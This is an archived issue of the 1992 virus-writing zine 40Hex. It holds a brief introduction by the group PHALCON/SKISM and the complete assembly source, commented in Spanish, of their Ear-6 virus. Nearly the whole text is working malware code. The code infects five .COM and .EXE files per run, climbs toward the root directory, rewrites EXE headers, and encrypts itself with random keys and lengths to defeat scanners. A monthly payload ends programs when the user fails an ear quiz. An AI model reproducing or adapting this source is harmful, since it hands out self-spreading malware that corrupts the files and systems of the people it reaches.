Copy Link
Add to Bookmark
Report
40Hex Issue 08 File 009
40Hex Number 8 Volume 2 Issue 4 File 009
-=PHALCON/SKISM=- Ear-6 Virus
The Ear-6 is a parasitic, non-resident, .COM & .EXE infector. It
infects 5 files everytime it is run. It will traverse towards the root
directory if fewer than 5 files are found. We have no clue as to what
the 'AUX error' that Patti talks about. But then again, Patti isn't
sure as to who she is, let alone an accurate discription on one of our
virii. On activation (1st of any month), it plays ear quiz with
victim. Failure to answer the question will result in program
termination.
-) Gheap
---------------------------------------------------------------------------
;[Ear-6]
;El virus de oreja y oido seis
;Fue escrito por Dark Angel de PHALCON/SKISM
;Yo (el angel oscuro) escribi este programa hace muchas semanas.
;No deba modificar este programa y da a otras personas COMO SI
;estara el suyo.
;?Donde esta mi llama, mama?
; diccionarito
;espanol ingles magnitud size
;abre open mango handle
;aprueba pass (a test) mascara mask
;atras back mensaje message
;azado random mes month
;busca find monton heap
;cierra close oreja, oido ear
;cifra code, encrypt, decrypt pila stack
;codo pointer pregunta question
;corto terse, short primer first
;empieza begin remendar patch
;escriba write renuncia reject
;espanol ingles respuesta answer
;fecha date salta exit
;ficha file siguiente following, next
;indice table suspende fail (a test)
;?le gusta? do you like? termina end
;longitud length virus virus (!)
.model tiny
.code
org 100h
longitud_del_virus = TerminaVir - EmpezarVir
longitud_del_escribir = offset termina_escribir - offset escribir
id = 'GH' ;Representa el lider de
;PHALCON/SKISM, Garbageheap
Empezar: db 0e9h, 0, 0 ;jmp EmpezarVir
EmpezarVir:
shwing:
remendar1:
mov bx, offset EmpezarCifra
remendar2:
mov cx, ((longitud_del_virus + 1) / 2)
hacia_atras: ;atras
db 2eh
remendar3:
db 81h, 37h, 0, 0 ;xor word ptr cs:[bx], 0
add bx, 2
loop hacia_atras
EmpezarCifra:
call siguiente ;Es estupido, pero es corto
siguiente:
pop bp
sub bp, offset siguiente
mov byte ptr [bp+numinf], 0
cld ;No es necessario, pero
;?por que no?
cmp sp, id
jz SoyEXE
SoyCOM: mov di, 100h
push di
lea si, [bp+Primer3]
movsb
jmp short SoyNada
SoyEXE: push ds
push es
push cs
push cs
pop ds
pop es
lea di, [bp+EXE_Donde_JMP] ;el CS:IP original de la ficha
lea si, [bp+EXE_Donde_JMP2] ;infectada
movsw
movsw
movsw
jmp short SoyNada
NombreDelVirus db 0,'[Ear-6]',0 ;En ingles, !por supuesto!
NombreDelAutor db 'Dark Angel',0
SoyNada:
movsw
mov ah, 1ah ;Esindicece un DTA nuevo
lea dx, [bp+offset nuevoDTA] ;porque no quiere destruir
int 21h ;el DTA original
mov ax, word ptr [bp+remendar1+1]
mov word ptr [bp+tempo], ax
mov ah, 47h ;Obtiene el directorio
xor dl, dl ;presente
lea si, [bp+diroriginal]
int 21h
looper:
lea dx, [bp+offset mascara1] ;"mascara", no "mascara"
call infectar_mascara ;pero no es possible usar
;acentos en MASM/TASM.
;!Que lastima!
;mascara1 es '*.EXE',0
lea dx, [bp+offset mascara2] ;mascara2 es '*.COM',0
call infectar_mascara ;infecta las fichas de COM
cmp byte ptr [bp+numinf], 5 ;?Ha infectada cinco fichas?
jg saltar ;Si es verdad, no necesita
;busca mas fichas.
mov ah, 3bh ;Cambia el directorio al
lea dx, [bp+puntos] ;directorio anterior
int 21h ;('..', 'punto punto')
jnc looper
saltar: lea dx, [bp+backslash] ;Cambia el directorio al
mov ah, 3bh ;directorio terminado.
int 21h
mov ah, 2ah ;Activa el primer de
int 21h ;cada mes
cmp dl, 1 ;Si no es el primer,
jnz saltarahora ;!saltar ahora! (duh-o)
mov ah, 2ch ;?Que hora es?
int 21h
cmp dl, 85 ;85% probabilidad de
jg saltarahora ;activacion
and dx, 7 ;Un numero quasi-azado
shl dl, 1 ;Usalo para determinar
mov bx, bp ;que preguntara la virus
add bx, dx
mov dx, word ptr [bx+indice] ;indice para el examencito
add dx, bp
inc dx
push dx ;Salva el codo al pregunta
mov ah, 9 ;Escriba el primer parte de
lea dx, [bp+mensaje] ;la pregunta
int 21h
pop dx ;Escriba el parte de la oreja
int 21h ;o el oido
dec dx
push dx ;Salva la respuesta correcta
lea dx, [bp+secciones] ;Escriba los secciones de la
int 21h ;oreja y el oido
trataotrarespuesta:
mov ah, 7 ;Obtiene la respuesta de la
int 21h ;"victima"
cmp al, '1' ;Necesita una respuesta de
jl trataotrarespuesta ;uno hasta tres
cmp al, '3' ;Renuncia otras respuestas
jg trataotrarespuesta
int 29h ;Escriba la respuesta
pop bx ;El codo al respuesta
;correcta
mov ah, 9 ;Prepara a escribir un
;mensaje
cmp al, byte ptr [bx] ;?Es correcta?
jz saltarapidamente ;El aprueba el examencito.
;Pues, salta rapidamente.
lea dx, [bp+suspendido] ;Lo siento, pero !Ud. no
int 21h ;aprueba el examencito facil!
mov ah, 4ch ;Estudie mas y el programa
jmp quite ;permitira a Ud a continuar.
saltarapidamente:
lea dx, [bp+aprueba]
int 21h
saltarahora:
mov ah, 1ah ;Restaura el DTA original
mov dx, 80h
quite:
cmp sp, id - 4 ;?Es EXE o COM?
jz vuelvaEXE
vuelvaCOM:
int 21h ;Restaura el DTA y vuelva
retn ;a la ficha original de COM
vuelvaEXE:
pop es
pop ds ;ds -> PSP
int 21h
mov ax, es
add ax, 10h ;Ajusta para el PSP
add word ptr cs:[bp+EXE_Donde_JMP+2], ax
cli
add ax, word ptr cs:[bp+PilaOriginal+2]
mov ss, ax
mov sp, word ptr cs:[bp+PilaOriginal]
sti
db 0eah ;JMP FAR PTR SEG:OFF
EXE_Donde_JMP dd 0
PilaOriginal dd 0
EXE_Donde_JMP2 dd 0
PilaOriginal2 dd 0
infectar_mascara:
mov ah, 4eh ;Busca la ficha primera
mov cx, 7 ;Cada atributo
brb_brb:
int 21h
jc hasta_la_vista_bebe ;No la busca
xor al, al
call abrir ;Abre la ficha
mov ah, 3fh
mov cx, 1ah
lea dx, [bp+buffer]
int 21h
mov ah, 3eh ;Cierra la ficha
int 21h
lea si,[bp+nuevoDTA+15h] ;Salva cosas sobre la ficha
lea di,[bp+f_atrib] ;Por ejemplo, la fecha de
mov cx, 9 ;creacion
rep movsb
cmp word ptr [bp+buffer], 'ZM' ;?Es EXE o COM?
jz buscaEXE
buscaCOM:
mov ax, word ptr [bp+f_long] ;?Cuan grande es la ficha?
sub ax, longitud_del_virus + 3 ;Adjusta para el JMP
cmp ax, word ptr [bp+buffer+1] ;?Ya es infectada?
jnz infecta_mi_burro ;"infect my ass"
jmp short BuscaMas
buscaEXE:
cmp word ptr [bp+buffer+10h], id
jnz infecta_mi_burro
BuscaMas:
mov ah, 4fh ;Busca otra ficha...
jmp short brb_brb
hasta_la_vista_bebe: ;?Le gusta Arnold?
ret
infecta_mi_burro:
;AX = longitud de la ficha infectada
lea si, [bp+buffer]
cmp word ptr [si], 'ZM'
jz InfectaEXE
InfectaCOM:
push ax
mov cx, word ptr [bp+tempo]
mov word ptr [bp+remendar1+1], cx
lea di, [bp+Primer3]
movsb
push si
movsw
mov byte ptr [bp+buffer], 0e9h
pop di
add ax, longitud_del_virus
stosw
mov cx, 3
jmp short TerminaInfeccion
InfectaEXE:
les ax, [si+14h] ;Salva el original empieza
mov word ptr [bp+EXE_Donde_JMP2], ax;CS:IP de la ficha infectada
mov word ptr [bp+EXE_Donde_JMP2+2], es
les ax, [si+0Eh] ;Salva la original locacion
mov word ptr [bp+PilaOriginal2], es ;de la pila
mov word ptr [bp+PilaOriginal2+2], ax
mov ax, word ptr [si + 8]
mov cl, 4
shl ax, cl
xchg ax, bx
les ax, [bp+offset nuevoDTA+26]
mov dx, es
push ax
push dx
sub ax, bx
sbb dx, 0
mov cx, 10h
div cx
mov word ptr [si+14h], dx ;Nuevo empieza CS:IP
mov word ptr [si+16h], ax
mov cl, 4
shr dx, cl
add ax, dx
mov word ptr [si+0Eh], ax ;y SS:SP
mov word ptr [si+10h], id
pop dx ;Restaura el magnitud de
pop ax ;la ficha
add ax, longitud_del_virus ;Anada el magnitud del virus
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1
mov word ptr [si+4], dx ;Nuevo magnitud de la ficha
mov word ptr [si+2], ax
push cs
pop es
mov ax, word ptr [si+14h]
sub ax, longitud_del_virus + offset Empezarvir
push ax
mov cx, 1ah
TerminaInfeccion:
mov al, 2
call abrir
mov ah, 40h
lea dx, [bp+buffer]
int 21h
mov ax, 4202h
xor cx, cx
cwd ;xor dx,dx
int 21h
mov ah, 2ch ;Numeros azados en CX y DX
int 21h
mov word ptr [bp+remendar3+2], cx ;Es el nuevo numero de la
;cifra
and cx, 31 ;Pone un numero azado para el
add cx, ((longitud_del_virus + 1) / 2);magnitud de la ficha. Por
;eso, los scanners necesitan
mov word ptr [bp+remendar2+1], cx ;usar "wildcards"
lea di, [bp+tempstore]
mov al, 53h ;push bx
stosb ;(no destruir el mango de la
; ficha)
lea si, [bp+shwing] ;Copia las instrucciones
push si ;para formar la cifra
mov cx, longitud_de_la_cifra
push cx
rep movsb
mov al, 5bh ;pop bx
stosb ;(recuerda mango de la ficha)
lea si, [bp+escribir] ;Copia las instrucciones
mov cx, longitud_del_escribir ;para anada el virus a la
rep movsb ;ficha
mov al, 53h ;push bx
stosb
pop cx ;Copia las instrucciones
pop si ;para invalidar la cifra
rep movsb
mov ax, 0c35bh ;pop bx, retn
stosw
pop ax
;Codo del comienzo de la cifra
add ax, offset EmpezarCifra + longitud_del_virus
mov word ptr [bp+remendar1+1], ax
call antes_del_tempstore
mov ax, 5701h ;BX = mango de la ficha
mov dx, word ptr [bp+f_fecha]
mov cx, word ptr [bp+f_hora]
int 21h ;Restaura fecha y hora
mov ah, 3eh
int 21h
xor ch, ch
mov cl, byte ptr [bp+f_atrib]
mov ax, 4301h
lea dx, [bp+offset nuevoDTA + 30] ;Busca un ficha en el DTA
int 21h
inc byte ptr [bp+numinf]
jmp BuscaMas
Primer3 db 0CDh, 20h, 0
puntos db '..',0
mascara1 db '*.EXE',0
mascara2 db '*.COM',0
abrir: mov ah, 3dh ;Abrir un ficha
lea dx, [bp+nuevoDTA+30] ;Nombre de la ficha es en
int 21h ;el DTA
xchg ax, bx
ret
indice dw offset oreja1, offset oreja2, offset oreja3, offset oreja4
dw offset oreja5, offset oreja6, offset oreja4, offset oreja1
oreja1 db '1','Auditory Canal$'
oreja2 db '1','Lobe$'
oreja3 db '2','Anvil$'
oreja4 db '2','Eustachian Tube$'
oreja5 db '3','Auditory Nerve$'
oreja6 db '3','Cochlea$'
mensaje db 'PHALCON/SKISM 1992 [Ear-6] Alert!',13,10,'Where is the $'
secciones db ' located?',13,10
db ' 1. External Ear',13,10
db ' 2. Middle Ear',13,10
db ' 3. Inner Ear',13,10,'( )',8,8,'$'
;No es bueno.
suspendido db 13,10,'You obviously know nothing about ears.'
db 13,10,'Try again after some study.',13,10,'$'
;!Espero que si!
aprueba db 13,10,'Wow, you know your ears! Please resume work.',13,10
db '$'
escribir:
mov ah, 40h
mov cx, TerminaVir - EmpezarVir
lea dx, [bp+EmpezarVir]
int 21h
termina_escribir:
backslash db '\'
TerminaVir = $
;Los que sigue son en el monton...
longitud_de_la_cifra = offset EmpezarCifra - offset shwing
diroriginal db 64 dup (?)
tempo dw ?
nuevoDTA db 43 dup (?)
numinf db ?
antes_del_tempstore:
;tempstore es el buffer para el parte del programa que anada el virus al fin
;de otro programa
tempstore db (longitud_de_la_cifra*2+longitud_del_escribir+5) dup (?)
;anada cinco para los pop,
;los push, y el retn
buffer db 1ah dup (?)
f_atrib db ? ;atributo de la ficha
f_hora dw ? ;hora de creacion
f_fecha dw ? ;fecha de creacion
f_long dd ? ;magnitud de la ficha
end Empezar
+++++